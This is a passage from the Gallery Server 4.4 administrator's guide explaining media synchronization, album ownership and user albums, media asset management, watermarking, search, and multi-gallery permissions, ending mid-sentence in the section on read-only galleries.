You added, moved, copied, or deleted images using Windows Explorer instead of the Gallery
Server interface, causing the database to become out of sync with the media files on the web
server's hard drive.
You used a third party program like Photoshop to alter one or more images, and you want Gallery
Server to recreate the thumbnail and compressed images.
In simple terms, the synchronization procedure updates the Gallery Server database with information
about the media files and makes sure the media files have valid thumbnail and web-optimized versions.
Remember that the files themselves are not stored in the database; only metadata about them (size, width,
height, etc.)
Synchronizing also sorts each album and ensures it has a valid album thumbnail image.
You can synchronize an album, an album and all child albums, or the entire gallery. Follow these steps to
synchronize.
1. Using an FTP program or File Explorer, move or copy the media files you want to add to the media
repository directory. By default, this is a directory named gs\mediaobjects\ in the gallery web
application, but you can change this on the Media Settings page. You may create child directories to
store your media files. During the synchronization any directories are exposed as albums in the
gallery.
2. With your web browser, navigate to the album containing the new media files. Click the Sync button
on the Manage ribbon tab. Three options are displayed:
Include child directories (recursive) When checked, any albums within this album are also
synchronized. Recently added directories are added to the gallery as new albums. If the current
album does not contain any child albums, this setting has no effect.
Rebuild thumbnail images When checked, new thumbnail images are created when you
synchronize the database. The thumbnails are created from the original media asset. If unchecked, a
new thumbnail is created only if it doesn't exist. Synchronizing the database will run faster if you
leave this option unchecked.
Rebuild optimized versions When checked, new web-optimized assets are created when you
synchronize the database. These files are created from the original image. If unchecked, new web-
optimized files are created only if they don’t exist. Synchronizing the database will run faster if you
leave this option unchecked.
Gallery Server 4.4 Administrator’s Guide Page 53 of 246
NOTE: Compressed versions of images will exist only for images whose file size is larger than the
Compression limit or whose longest side is larger than the Compressed image length. More
information about these settings can be found in Image Settings.
3. When you have selected the desired options, click Synchronize. The synchronization will begin and
its status will be continuously updated.
NOTE: You can click Cancel to stop a synchronization, but be aware this can cause the database to
become out of sync with the media files on the hard drive. If you discover issues after cancelling, start
another synchronization and allow it to finish.
Some additional points to remember about synchronizing:
Note: The properties mentioned below in bold can be found on the Media Settings page (i.e. original
file storage location, thumbnail image storage location, and web-optimized storage location)
Gallery Server will ignore any file whose extension is not enabled on the File Types page. It also
ignores hidden files, even if they are an enabled file type.
Gallery Server ignores any directory it does not have permission to access. This can be used to
selectively hide directories from the gallery.
Gallery Server NEVER modifies or deletes the original media files during synchronizing. (Rotating,
flipping and writing metadata are the only functions in Gallery Server that modify the original media
file, and that applies only to images and videos.)
Gallery Server searches for media files only in the directory corresponding to the specified album. If
the option Include child directories is enabled, then all files below the specified directory will also
be synchronized. Gallery Server never searches for or adds media files from outside the Original file
storage location.
Thumbnail images are stored in the Thumbnail image storage location. By default, all thumbnail
images begin with the prefix zThumb_. If desired, this can be changed on the Media Settings page.
Compressed images are stored in the Compressed image storage location. By default, all
compressed images begin with the prefix zOpt_. If desired, this can be changed on the Media
Settings page.
If the thumbnail or compressed images are accidentally deleted, they can be recreated by
performing a synchronization.
Depending on your web server, Gallery Server typically synchronizes from one to one hundred
images per second. Keep in mind that if you have thousands of images, it may take a long time.
You can modify any Gallery Server media asset in a third party program like Photoshop without
losing the caption or other data you entered, as long as you don’t change the file name.
Album ownership
An album owner can add, edit, and delete objects within the album. Think of it as being an administrator
of an album.
Gallery Server 4.4 Administrator’s Guide Page 54 of 246
The permissions an owner has propagate to all child albums and cannot be revoked at a lower level. For
example, if an owner can create child albums, he or she can create child albums on those child albums, and
so on. This is consistent with the overall security pattern in Gallery Server that permissions always propagate
downward.
Only site or gallery administrators can assign a user as the owner of an album. Owners cannot re-assign
ownership to another user (unless the owner is an administrator, of course).
Assign the owner of an album by clicking the Security button on the Manage ribbon tab. A small window
appears where you can enter a username.
By default, the owner of an album can add, edit, and delete objects within the album. The permissions
given to owners are defined in a role whose name begins with _Album Owner Template and can be
changed using the Roles page.
If a user who is the owner of an album is deleted, the album is updated to no longer have an owner.
Note: A very similar featureuser albumsprovides an album for each user and assigns that user as
the owner of the album. Using user albums may be a better approach depending on your
requirements.
* Behind the Scenes * When a user is assigned as the owner of an album, a new role is created with
the user as the sole member. The permissions in the role are copied from the template role. There is
one template role for each gallery, and its name begins with _Album Owner Template. Note that if
the template role is assigned to one or more albums, those albums are also applied to the new role.
The name of the role follows this pattern:
Album Owner - {UserName} - {Album Title} (album {album ID})
For example: "Album Owner - Albin - Photos (album 3)"
Gallery Server 4.4 Administrator’s Guide Page 55 of 246
You can view these roles on the Manage Roles page by selecting the checkbox labeled Show roles that
support the album ownership and user album features.
The ownership feature (and the user album feature) is an abstraction of the underlying security model
of using roles to limit access to albums. Both of these features manipulate roles behind the scenes to
manage the desired level of access for a user.
Private albums
To hide an individual album from anonymous users, mark the album as private. This is done in the
security window, accessible on the Manage ribbon tab.
Private albums have the following characteristics:
They are never shown to anonymous users.
The privacy setting of an album applies to all child albums and media assets. You cannot make a
child album un-private if its parent is private.
The privacy setting of an album has no effect for logged on users.
User albums
Overview
Gallery Server can be used in community scenarios where users automatically receive a personal album
they manage. A variety of configuration options are available to satisfy the majority of needs. For example,
the following are possible:
User albums are publicly available for everyone to view, even anonymous users
Gallery Server 4.4 Administrator’s Guide Page 56 of 246
Users can add photos to their album, but not other file types such as videos, nor can they create
child albums.
Only logged on users can view albums
User albums are private and viewable only to each user
Many more possibilities…
By default, users can perform any function within their album, such as adding and deleting media assets
and child albums, sorting, and synchronizing.
These default permissions are stored in a template role. There is one template role for each gallery, and
its name begins with _Album Owner Template. For example: _Album Owner Template (Gallery ID 2:
'Engineering')” When a user album is created, the template role for the current gallery is copied and
assigned to the user. You can adjust the permissions in this role to change the default permissions users are
assigned when their user album is created.
To adjust the permissions a user has for an existing user album, edit the permissions for the role that
was created for that user. The role is visible on the Roles page when you select the option Show roles that
support the album ownership and user album features”.
Note: If you don't see the template role on the Manage Roles page, it may not exist. This role is
automatically created the first time it is needed. You can trigger its creation by assigning a user as an
owner of an album or enabling user albums and navigating to your album.
When user albums are enabled, a user can jump to their personal album by clicking the “My album”
button in the View ribbon tab:
Gallery Server 4.4 Administrator’s Guide Page 57 of 246
The user album starts out empty. Only the user who owns the album (and administrators, of course) are
able to add, edit, and delete assets, unless the administrator has configured a gallery that gives multiple
users editing permission to the album that contains the user albums.
Enabling user albums
User albums are enabled on the User Settings page. This is the relevant portion of that page:
There are several configuration options available.
Always redirect to user's album after logging on - When enabled, the user's personal album is displayed
each time the user logs on. If the user has disabled the album on their account page, the top level album is
displayed.
Album name template - Specifies the template to use for naming the album that is created for new users.
The placeholder string {UserName}, if present, is replaced by the user's account name. No other placeholder
strings are supported.
Album summary template - Specifies the template to use for the album summary of a newly created user
album. No placeholder strings are supported.
Gallery Server 4.4 Administrator’s Guide Page 58 of 246
User album container album - Specifies the album in which user albums are created. If a different album is
selected, existing user albums are not automatically moved. To move them to another album, use the
standard functionality for moving albums.
Auto create user albums Specifies whether a user album is automatically created for a user the first time
he or she logs on. Disabling this option can be useful when the user album feature may only be used by a
subset of users and you do not want a bunch of empty albums sitting in the user album gallery.
When this option is disabled, user albums are not created for users. (If a user album already exists, it is
not deleted, however.) If a user wants to enable their personal album, he or she can click the My account
link in the top right of the page:
The account page has a section where the user album can be enabled:
When the user checks this box and saves the page, an album is immediately created.
Warning: When a user disables their album, it is permanently deleted and cannot be recovered. Read
the next section about deleting user albums for more information.
Gallery Server 4.4 Administrator’s Guide Page 59 of 246
Note: If you turn off the option to allow a user to manage their account, then only an administrator
can enable or disable a user's album on the Users page.
Enable / disable existing user albums These buttons, which are only available when user albums have
been enabled at the gallery level, enable or disable user albums at the user level. Click the Enable All button
to turn on the user album for each account, including those where the user turned off their user album on
their account page or an administrator turned off the user’s user album on the Users page. Similarly, click
the Disable All button to turn off the user album for all accounts. After clicking one of these buttons, an
administrator (or user, if users are allowed to manage their own account) can selectively enable or disable
the user album for individual accounts.
IMPORTANT: Clicking either of these buttons will not immediately create or delete any user albums.
The next time each user logs on, the validation logic will create or delete the user's album based on the
value of their profile setting. When the user's profile specifies a disabled user album and a user album
currently exists, the album - and its contents - are permanently deleted. Use with caution!
Note: To improve performance, user profiles are stored in the server's session, which means currently
logged on users will not see the effect of you enabling or disabling profiles until the next time their
profile is retrieved from the data store. To force your change to take immediate effect, restart the
application pool.
Deleting user albums
It is important to understand what happens to user albums in various circumstances.
Deleting a user When an administrator deletes a user or the user deletes their own account on the
account page, the user album is also deleted, including any media assets and child albums it
contains. The items are not recoverable.
Disabling user albums at the user level When a user disables their personal album on their
account page, all media assets and child albums in their album are deleted. The items are not
recoverable.
Disabling user albums at the gallery level When an administrator disables user albums on the
User Settings page, user albums are not deleted, but they are no longer treated as user albums by
the gallery they are just regular albums. If desired, the administrator can delete them as they
would a regular album.
Deleting an album that is a user album If a user album is deleted through the Delete button on
the Manage ribbon tab, Gallery Server will allow it to be deleted, but the album will be automatically
re-created the next time the user who owned that album logs on.
Because of this "my album keeps coming back" behavior, this is not the recommended way to
remove a user album. To delete an individual user album, the user should disable their user album
on their account page. To delete all user albums, the administrator can disable user albums at the
system level (click Disable All on the User Settings page) and then manually delete them.
Gallery Server 4.4 Administrator’s Guide Page 60 of 246
5. Working with Media Assets
Overview of media assets
A media asset is any file or HTML snippet managed by Gallery Server. Typically, these are photos,
videos, audio files, and documents, but they can be any file type. The default installation enables JPG and
JPEG files. To enable additional types, use the File Types page.
By default, Gallery Server stores all media asset files in a subdirectory named \gs\mediaobjects\. You
can change this location on the Media Settings page.
When a media asset is HTML text, it is called an external media asset and can be used to:
Link to media assets on other servers (e.g. YouTube videos).
Display custom snippets of HTML.
Link to other web pages by embedding other web pages in an iframe HTML tag.
All media assets can be sorted, moved or copied to another album, deleted and have their captions and
other properties edited.
Gallery Server can read and write image metadata such as camera model, shutter speed, and others.
Gallery Server can also apply a watermark to images, run a slide show, and edit images.
With videos and audio files, Gallery Server can create web-optimized versions that play in any modern
browser without the use of plugins. This feature requires the free Gallery Server Binary Pack.
Any media asset except external media assets can be downloaded by clicking the Download button
on the ribbon menu.
Media files are rendered to the browser using HTML defined in templates called Media Templates. For
example, .mp4 files are typically rendered in a video tag while .pdf files are rendered inside an iframe. This
behavior is fully customizable you can even vary the HTML by browser. See the section Rendering media
assets in the browser for more information.
Add media assets
There are several ways to add media assets to the gallery. Each of these is discussed below.
Use a web browser to upload individual files
Use a web browser to add external media assets
Use a web browser to upload a ZIP file containing multiple files
Sync with existing files
Gallery Server 4.4 Administrator’s Guide Page 61 of 246
Upload files using a web browser
You can add individual media assets to a single album with this technique.
1. Log on to Gallery Server with an account that has permission to add media assets.
2. Navigate to the album to which you want to add media assets.
3. Choose Add media from the Manage ribbon tab.
Note: If you do not see the Manage ribbon tab, either you are not logged on or the account under
which you are logged on does not have permission to perform any of the tasks shown on that tab.
4. Drag files from another window or click Add files to manually select them. Note: Drag and drop is
not supported in some browsers.
5. Optionally select one of the options in the Advanced options section:
Discard original file - When selected, the original file is deleted after the thumbnail and web-
optimized versions are created. Administrators can force this option to be always selected
through a configuration option on the Image Settings page.
Treat ZIP file as media asset - When checked, Gallery Server will not extract the contents of any
ZIP files that are uploaded. Instead, the ZIP file will be preserved and treated as its own media
asset. This option will be disabled when the ZIP file extension is disabled on the File Types page.
6. Click Add to album. While the files are being transferred to the server, progress indicators display
the status.
Note: The caption for each asset defaults to the file name. For images, if the title metadata item is
present, that value is used for the caption instead of the file name.
7. When the upload is complete, you will be redirected to the album view page.
Add external media assets
You can add media assets that refer to objects hosted elsewhere, such as another web site on your
intranet or even the internet. These objects are called external media assets and are really nothing more
than HTML text that contains anything you want. Typical uses:
Link to media assets provided as embed code on other servers (e.g. YouTube).
Display custom snippets of HTML.
Link to other web pages by embedding other web pages in an iframe HTML tag.
For example, you might upload your videos files to YouTube and then add embed code pointing to those
videos to your gallery. Since the videos are streamed straight from the external web site, you save disk
storage and bandwidth costs.
Follow these instructions to add an external media asset:
1. Log on to Gallery Server with an account that has permission to add media assets.
Gallery Server 4.4 Administrator’s Guide Page 62 of 246
2. Navigate to the album to which you want to add media assets.
3. Select the Add media button from the Manage ribbon tab. Click the External Content tab.
Note: If you do not see the Manage ribbon tab, either you are not logged on or the account under
which you are logged on does not have permission to perform any of the tasks shown on that tab.
4. Select the type of media asset you are adding (audio, image, video, or other). This is used to
determine an appropriate thumbnail image for the object.
5. Enter a title.
6. Paste the HTML text into the HTML Fragment / Embed Code textbox.
7. Click Add to album. The media asset will be created.
Note: As a security precaution, HTML and JavaScript is restricted for non-administrators. Read the
section User permissions for more information.
Note: External media assets do not respect the setting for automatically playing video and audio on
the Video & Audio Settings page. That setting applies only to media files that are uploaded or
synchronized in Gallery Server.
Upload a ZIP file containing multiple files
This is a flexible technique allowing you to efficiently add a number of media assets. First prepare a ZIP
file containing the files you wish to add to Gallery Server, then upload the ZIP file using the Add media
button.
Note: If the ZIP file contains directories, those directories are converted to albums.
View/edit media asset properties
Each media asset has several properties such as title, caption, tags, etc. Several are extracted from
media files, such as the EXIF, XMP or IPTC metadata often found in images. By default, some of these
properties are editable while others are read only. In addition, some versions of Gallery Server allow you to
push your edits back into the metadata of the original file. You can adjust these settings on the Metadata
Settings page.
Media asset properties are edited in much the same way as album properties. Learn more in the Editing
album and asset properties.
Download media assets
Use the Download button on the View ribbon tab to download the file associated with the media asset.
Select multiple thumbnails to download a ZIP archive of all the items. Users are allowed to download only
those assets they have permission to view. If watermarking is enabled, the downloaded images will contain
a watermark.
Gallery Server 4.4 Administrator’s Guide Page 63 of 246
A few important points about downloading objects:
Only users who have permission to view the original files are able to download the original
versions of media assets.
When an album is selected for download, all of its contents, including child albums, are
packaged into the ZIP archive. If this is done on an album with thousands of items, it may
require a great deal of server resources and a lot of bandwidth. For this reason, you may want to
disable the downloading of albums. Do this in the Download section of the Media Settings page.
Sort media assets
Albums can be sorted in a customized manner using drag and drop or by a property such as title or date
picture taken. By default, albums are sorted by the date they are added to the gallery. This setting can be
changed on the Album Settings page.
Sort by a property
To sort by a property such as title or date picture taken, use the Sort button on the View ribbon tab.
Any user can sort an album. The scope of the sorting depends on the user’s permission:
Anonymous user When a non-logged on user sorts an album, the sort preference is stored in the
user’s session and re-applied for the duration of the session. Other users do not see these changes,
and the sort preference is lost when the session expires.
Logged-on user with read permission A permanent profile record exists for each user. This profile
stores the user’s sort preference for each album and is persisted across sessions.
User with edit album permission Changes to the sort affect how this album is displayed for all
users, unless a user has overridden the sort with his own preference.
Note that some media assets may not have certain properties. For example, videos do not have a ‘date
picture taken’ property. Attempting to sort an album by a property that is missing from one or more of the
media assets may result in an unexpected sort.
NOTE: During a synchronization, each album is re-sorted according to its sort property.
Custom sort using drag and drop
Instead of sorting by a property, you can drag and drop items into the desired sequence. Choose the
Custom option from the Sort button.
When an album has the custom sort option enabled, you can drag the thumbnail to the desired position.
When you release the thumbnail, its new position is instantly saved to the server.
The custom sort option appears only when a user is logged in and belongs to a role with edit album
permission to the current album.
Gallery Server 4.4 Administrator’s Guide Page 64 of 246
NOTE: Custom sorting is not available for virtual albums such as search results and recently added
items, since the contents are retrieved dynamically and are constantly changing.
Advanced sorting
The sort dropdown list shows the most commonly sorted properties, but you can sort an album by any
metadata property. The complete list of properties is shown on the Metadata Settings page.
To edit the list of available sort properties, edit the album UI template. That is, go to the UI Templates
page in the site admin area, select the Album gallery item, and then look for section in the HTML portion of
the template that defines the sort fields:
Edit the list of sort fields as desired. For example, to allow sorting by Author, add another list item:
Gallery Server 4.4 Administrator’s Guide Page 65 of 246
Notice that we specify data-id=’2’. That number identifies the Author metadata item and can be found
on the Metadata Settings page. We also hard code the text ‘Author’ since a resource string for that property
is not available in the client data. After saving the changes, one can now sort by Author.
Replace a media asset file
Use the Replace button on the Manage ribbon tab to replace the file of an existing media asset without
losing any metadata or changing its ID.
Gallery Server 4.4 Administrator’s Guide Page 66 of 246
This is great for those situations where you need to update the file associated with a media asset. For
example, you may be editing an image in Photoshop, updating a document, or trimming a video. In each of
these cases, you can download the file, make your change, and then use the replace function to push it back
to the server. The ID remains the same, and most of the asset’s properties are unchanged.
Which properties change? Well, they’re the ones you would expect, as they are properties of the file
and it makes sense to refresh them. They are width, height, dimensions, orientation, file name, file size,
audio format, video format, bitrate, and duration. That is, Gallery Server recalculates these metadata from
the uploaded file and updates the corresponding properties of the asset in your gallery.
Gallery Server 4.4 Administrator’s Guide Page 67 of 246
What about other properties, especially those that tend to be embedded in images such as date picture
taken, shutter speed, and camera model? It was a challenge for us to figure out the best approach here,
because we can think of pros and cons to the different options. If Gallery Server re-extracts all metadata
from an image when it is replaced, you may lose valuable data in those cases where your image editor
stripped out meta properties when you saved it. If it doesn’t re-extract, you won’t get meta updates you’ve
made with an external tagging or metadata writing program. There wasn’t a single approach guaranteed to
be what you want in all cases. In the end, Gallery Server recalculates the file-based meta properties and
leaves the rest alone. We think this is the right balance that will work for most users.
If you want Gallery Server to re-extract all the meta properties, delete the original media asset and then
upload the replacement file. Gallery Server treats this as a new media asset, so it will have a new ID. Any
external links that pointed to your old media asset will not automatically link to the new asset, so keep that
in mind.
Which properties get pushed into the replacement file?
We talked about how Gallery Server updates the properties of the media asset. But it can also write
properties to the original JPG image file. Whether it does or not depends on the metadata writing setting on
the Metadata page in the site admin area.
In the above screenshot, the tags property is writable and the title and caption properties are not. Let’s
say you have an image media asset and you’ve entered values for all three of these properties. Then you use
the new replace function to swap the file with another image. Gallery Server will push the tags into the
replacement file but not the title or caption. All three properties continue to appear in the gallery just as
before.
Delete albums and media assets
Use the Delete button on the Manage ribbon tab to remove assets from the gallery.
1. Select one or more assets to be deleted. If no assets are selected in the center pane, the containing
album will be deleted.
2. Optional: Select one of the delete options that appear when you expand the delete options. Learn
more about each option by clicking the question mark icon.
Gallery Server 4.4 Administrator’s Guide Page 68 of 246
3. Click the Delete button.
Note: When deleting an album, its child albums and all media assets in the album(s) are permanently
deleted. There is no undo function, so use caution!
Note: When deleting an album, the current user must have Delete child album permission for the
parent album of the album being deleted. If the album contains media assets, they are also deleted,
even if the user does not have Delete media asset permission.
Note: When deleting a media asset, the current user must have Delete media asset permission.
Delete original files
When you add images whose file size is large, Gallery Server automatically creates a web-optimized
version that is bandwidth-friendly and takes up less hard drive space. However, the original is not deleted
and is still available for downloading and viewing.
Similarly, when the Gallery Server Binary Pack is installed and encoded versions of video and audio files
have been created, the original files are preserved.
You can save significant amounts of hard drive space by deleting the original versions of these media
assets, keeping only the web-optimized and thumbnail versions. The asset continues to remain in the gallery
and you can continue performing all the same tasks as before. The only difference is that the original file no
longer exists. The web-optimized version now becomes the “original”.
1. Navigate to the album containing the media assets for which you want to delete one or more
original files.
2. Expand the delete options, then select Delete the original files to free up disk space. Gallery Server
calculates and displays the hard drive space that would be saved if each item was selected.
Gallery Server 4.4 Administrator’s Guide Page 69 of 246
3. Select the items for which you would like to delete the corresponding original files. Click the Delete
button. A confirmation dialog appears.
Gallery Server 4.4 Administrator’s Guide Page 70 of 246
4. Confirm the deletion by clicking Delete original media files.
WARNING: The original media files will be permanently deleted. If you subsequently re-extract one or
more metadata properties (on the Metadata Settings page), you may lose the data you extracted from
the originals if they are not present in the web-optimized version.
Move or copy albums and media assets
Albums and media assets can be moved or copied to other albums. When a copy of a media asset is
made, a copy of the media file is saved to the destination album. The original file remains in the source
album. When an album is copied, the directory and its contents are copied.
1. Navigate to the album containing the assets to move or copy.
2. Select the desired assets. If you don’t select anything, the entire album will be moved or copied.
3. Click the Move To or Copy To button, then select the destination album.
Gallery Server 4.4 Administrator’s Guide Page 71 of 246
Rotate/flip media assets
Images and videos can be rotated in intervals of 90 degrees in any direction. You can also flip them on
the horizontal or vertical axis.
1. Navigate to the album containing the assets to rotate or flip.
2. Select the desired assets.
3. Click one of the rotate/flip buttons.
Gallery Server 4.4 Administrator’s Guide Page 72 of 246
Note: Video rotation requires the Gallery Server Binary Pack.
Note: After the items are rotated, your browser may display the previous item from its cache rather
than the newly rotated one. To get the latest version, refresh the page in your browser.
Note: Rotating and flipping, along with metadata writing, are the only functions in Gallery Server that
modify the original file. In some cases, repeatedly rotating or flipping an object will degrade the
original, so use this function with caution.
Note: If the item has an orientation metatag embedded in the original file, it will be cleared during the
rotation.
Using the image editor to rotate/flip
You can also rotate or flip images with the image editor.
Note: The image editor performs its tasks on the client using JavaScript algorithms and the browser’s
API. This is different than the rotate/flip buttons on the Manage ribbon tab, which perform the
rotate/flip action on the server. In our experiments, we could not detect a difference in quality
between the algorithms of the popular browsers and their .NET-based server-side equivalents. They all
looked great and performed well. That said, we didn’t test all possible browsers, including ones that
were released after our testing, so you may find a particular browser does either better or worse than
.NET, depending on the algorithms being used and the type of images you are editing. If this is
important to you, be sure to test. Remember, these functions are changing your original files.
1. Select the thumbnail for an image or navigate to it. Click the Edit Image button in the Manage tab of
the ribbon toolbar.
Gallery Server 4.4 Administrator’s Guide Page 73 of 246
2. The image editor appears. Click the orientation button.
Gallery Server 4.4 Administrator’s Guide Page 74 of 246
3. The toolbar changes to show rotate and flip buttons. Make your selection and choose Apply. Then
click Save.
Watermarking
The watermark feature is a powerful tool to help protect images from unwanted duplication or to
communicate the source of the image.
Watermarks are rendered dynamically on the image when it is requested by the browser. The original
image files are not modified, and no files are stored on the web server with watermarks applied to them. If a
user downloads an image, the downloaded image has the same watermark as the image rendered in the
browser.
Gallery Server 4.4 Administrator’s Guide Page 75 of 246
Below is an example of a photo with an image and text watermark.
Gallery Server supports two kinds of watermarks:
A custom image that is applied to each image. For example, the Gallery Server logo in the image
above.
Custom text that is applied to each image. For example, the copyright message in the image above.
You can configure one or both of these watermarking techniques. Furthermore, you can control the
following attributes of each watermark:
The source of the watermark image. Use your own image file. If you specify a .gif or .png with
transparent pixels, those pixels will remain transparent when rendered on the image surface.
The location to apply the watermark on the image. Choose from nine locations, such as TopLeft,
MiddleCenter, etc.
The size of the watermark. The size can be relative to the size of the image, such as 50% of the width
of the image. For a text watermark, you can optionally specify the font size.
The opacity, from transparent to completely opaque.
For text watermarks, specify the font name and size.
Gallery Server 4.4 Administrator’s Guide Page 76 of 246
Note: The watermark image and/or text applies to all images in the gallery. If you wish to use multiple
watermarks, create multiple galleries and configure a unique watermark image in each gallery.
You can specify that certain users do not get the watermark. See the section Configure role-based
watermarking below.
Enable watermarking
Watermark functionality is configured on the Image Settings page. Refer to the Image Settings section
for detailed information on the various configuration options.
Configuring role-based watermarking
Certain users can be configured to not receive the watermark. This is useful for, say, professional
photographers who want to allow users to browse all photos in the gallery. A watermark can be applied to
users by default, but paying customers can be placed in a role where watermarks are not rendered on the
images. This can be specified at the album level so that certain albums render watermarks for a given user
while others do not.
To configure Gallery Server so that all users receive a watermark except for a certain user account,
follow these steps.
1. Enable the watermark functionality. This is done on the Image Settings page.
2. Configure a role with Do not show watermark on image permission for at least one album.
3. Add a user to this role. (Make sure the user has view access to the desired media assets. Add view
permission if necessary to the role you configured in step 2.)
Note: Browsers often cache images, so you may need to refresh the browser in order to see the non-
watermarked version of an image that previously had a watermark.
Gallery Server 4.4 Administrator’s Guide Page 77 of 246
Examples of watermarks
Below is a text watermark with the letters “TIS” set to 100% of the image width. Opacity is set to 20%.
(TIS stands for Tech Info Systems.)
Here is an example where a custom image has been specified to be 50% of the width of the photo and
located in the top left. Opacity is set to 40%.
Gallery Server 4.4 Administrator’s Guide Page 78 of 246
Searching
To begin a search, click the search icon in the top right of the page. Enter the search term and click the
Search button.
Note: If the search icon is not visible, it may have been disabled on the Gallery Settings page or the
Gallery Control Settings page.
Enter the search terms in the dialog and select a search type. Note that choosing Everything in a large
gallery may take a long time.
A page with the search results appears. Click the thumbnail to view the item.
Gallery Server 4.4 Administrator’s Guide Page 79 of 246
An asset is considered a match if all search words match an album or media asset. For example, if one
searches for desert mountain, only those albums or media assets that contain both desert and mountain
are returned. If the search words are contained in quotation marks, such as “desert mountain”, then the
phrase must exactly match.
There is currently no support for the OR condition.
The contents of documents such as PDF files are not searched. Only those assets for which the current
user has authorization to view are returned in the search results.
Since the search function includes the metadata extracted from images, you can perform some pretty
powerful searches. For example, to see all your photos that were shot at -0.5 step compensation, search for
-0.5 step”. You may have to adjust the text depending on your camera.
6. Working with Galleries
Overview
A gallery is a collection of albums and media assets bound together with a common set of settings such
as file storage location, watermark settings, image size, allowed file types, and whether user albums are
enabled.
When Gallery Server is installed, a single gallery is created and all albums and media assets are added to
this gallery. In many cases, this is sufficient and you will never need to create another gallery.
Gallery Server 4.4 Administrator’s Guide Page 80 of 246
About multiple galleries
While a single gallery will satisfy the requirements of many users, Gallery Server supports multiple
galleries within a single application instance. There are many situations where multiple galleries can help
achieve your goals:
You want to have one area for staging and another for production. Media objects are first added to
the staging area, where they are organized and prepped. When they are ready to be deployed, they
can be moved or copied to the production gallery.
You have departments in your company that should each have their own gallery. Each gallery should
have its own administrator and can have its own settings, such as user accounts, watermark,
permissions, etc. Rather than setting up and maintaining multiple web applications, this can now be
handled in a single application instance.
You have media files in multiple locations you want to expose, such as D:\Pictures and D:\Video.
You want to set up a gallery for each member of your family. Each person is a mini-administrator for
their area and can't edit another person's media assets, yet everything is contained within a single
web application and database.
You want some images to be 640x480 and others to be smaller (or larger).
You want to have a watermark applied to one set of images but another set should have no
watermark, and all images are to be accessible to anonymous users. Or you have different
watermarks that should be applied to different sets of images.
You want to provide a user with different gallery-wide permissions. For example, user 'Bob' should
be a gallery administrator for one set of objects, but have edit-only permission for another set.
You want to allow some users to upload any file type of any size, but others should only be able to
upload .JPEG's that are less than 5 MB.
Every gallery gets its own web page
The Gallery Manager page lets you manage your galleries. Generally, each gallery is associated with a
particular web page containing the Gallery Server user control. For example, a default installation contains a
single web page default.aspx that is linked to the gallery that is created during the installation.
If you create a second gallery, typically you will create a second web page to reference it. Because
multiple galleries involve creating new web pages, this is a feature that will typically be used only by web
developers.
The How-To section has a tutorial for setting up a second gallery.
Gallery Server 4.4 Administrator’s Guide Page 81 of 246
Gallery isolation and user/role security
Albums and media assets in a gallery are isolated from other galleries. They have separate hierarchies,
gallery settings, and are stored in different physical locations. Users and roles can be associated with one
gallery and not another, which helps isolate a user to a particular gallery.
When a user does not have access to a gallery, everything about it is hidden from the user its albums,
media assets, users, and roles. To that user the gallery may as well not even exist.
There are two types of administrators in Gallery Server:
Site administrator Has complete control over all settings in a Gallery Server installation. A site
admin is automatically a gallery admin of every gallery, and can always access every media asset in
every gallery.
Gallery administrator Has complete control over a particular gallery. Other galleries (and their
albums and media assets) are inaccessible and hidden from view.
Read more about managing users and administrators in the section User Management and Security. For
now, we will focus on understanding how lower levels of permission can cause objects to be hidden.
Examples of hidden galleries
Users can move or copy objects to another gallery only when they are a gallery administrator for the
destination gallery. For example, in the How-To tutorial where we set up two galleries, a site administrator
can see both galleries when moving/copying objects:
But when logged in as a gallery administrator for just one of the galleries, only the galleries for which the
user is an administrator is shown. For example, user Albin is a gallery administrator for the Engineering
Gallery Server 4.4 Administrator’s Guide Page 82 of 246
gallery, but only has view-only access to the Marketing gallery, so Albin is only allowed to move objects
within his own gallery:
Similarly, this user (Albin in this example) sees only a single gallery on the Gallery Manager page, even
though two actually exist. This is because Albin does not have administrative permission to the Marketing
gallery:
A site administrator will see both galleries, as will any user who has ‘Administer gallery’ privileges to
both galleries:
Gallery Server 4.4 Administrator’s Guide Page 83 of 246
Users and roles in galleries
As you might expect, a site administrator can see all users and roles anywhere they are displayed, such
as the Manage Users and Manage Roles pages.
Two configuration settings control whether a gallery administrator can view users and roles. These are
on the Site Settings page:
By default, these options are enabled, which means gallery admins can see all users and roles and
manage them, including creating, editing, and deleting users. In some cases, this may be too much
permission.
To prevent gallery admins from modifying users and roles, uncheck the option Allow gallery admins to
manage users and roles. This will cause the Manage Users and Manage Roles pages to be inaccessible.
Gallery Server 4.4 Administrator’s Guide Page 84 of 246
The second option allows gallery administrators to see users and roles that do not have access to the
current gallery. This is useful, for example, to allow a gallery admin to give an existing user access to a
gallery. However, in some environments it may be inappropriate for a gallery administrator to be able to
view users and roles in other galleries, so this setting lets you hide them from the gallery admin. When this
option is disabled, only users and roles that have access to a gallery the gallery admin can administer are
made visible.
Editing roles that affect multiple galleries
Imagine there is a role called Everyone which has view permission to all the galleries. User Albin is a
gallery administrator for one gallery but not the others. What happens if Albin tries to edit the role? For
example, this is what happens when Albin tries to remove user Bob from the Everyone role:
The underlying principle is: Administrators can create users but cannot give them any permissions
greater than they themselves have, nor can a gallery administrator give a user access to another gallery
unless he or she is an administrator for that gallery.
Gallery Server 4.4 Administrator’s Guide Page 85 of 246
What happens when an URL and gallery conflict?
As you navigate the gallery, the URL specifies the album ID or the media asset ID. For example, this URL
specifies album ID #5, which is the album called Photos:
Each instance of the Gallery Server user control is also linked to a particular gallery, as seen on the
Gallery Manager page:
What happens when a user edits the URL to request an album or media asset that exists in a different
gallery than specified in the Gallery Manager? If the user has permission to view the object, then Gallery
Server will display it, even if it belongs to another gallery. There is one exception if an administrator turned
off the Allow URL Navigation option on the gallery settings page, then all users are forbidden from specifying
an album or media asset in the URL, even those in the current gallery.
Gallery Server 4.4 Administrator’s Guide Page 86 of 246
Creating a read-only gallery
Gallery Server helps you share and manage your media collection over the web. In some cases, you may
not want to allow it to make any changes to your media files. In other words, you want Gallery Server to
expose a read-only view of your collection.
When Gallery Server is in read-only mode, users cannot create albums or upload files, nor can they
move, copy or delete albums and media assets. In other words, they can't perform any action that modifies
the original media files. However, users can synchronize, download, edit properties, and administrators can
change settings in the Site Admin area, including managing users and roles.
A read-only gallery is configured on the Media Settings page in the Site Admin area, as seen here:
There are several requirements that must be met before a gallery can be made read-only:
User albums must be disabled
Gallery Server 4.4 Administrator’s Guide Page 87 of 246
The directory for the thumbnail and compressed images must be different than the original
media assets directory
The option Synchronize directory names with album titles must be disabled
When a gallery is read-only, the only way to add or remove media assets is by manually updating the
media assets directory with FTP or a tool like File Explorer and then running the synchronize function.
If this setting is enabled, it is recommended to configure the IIS application pool identity to have read-
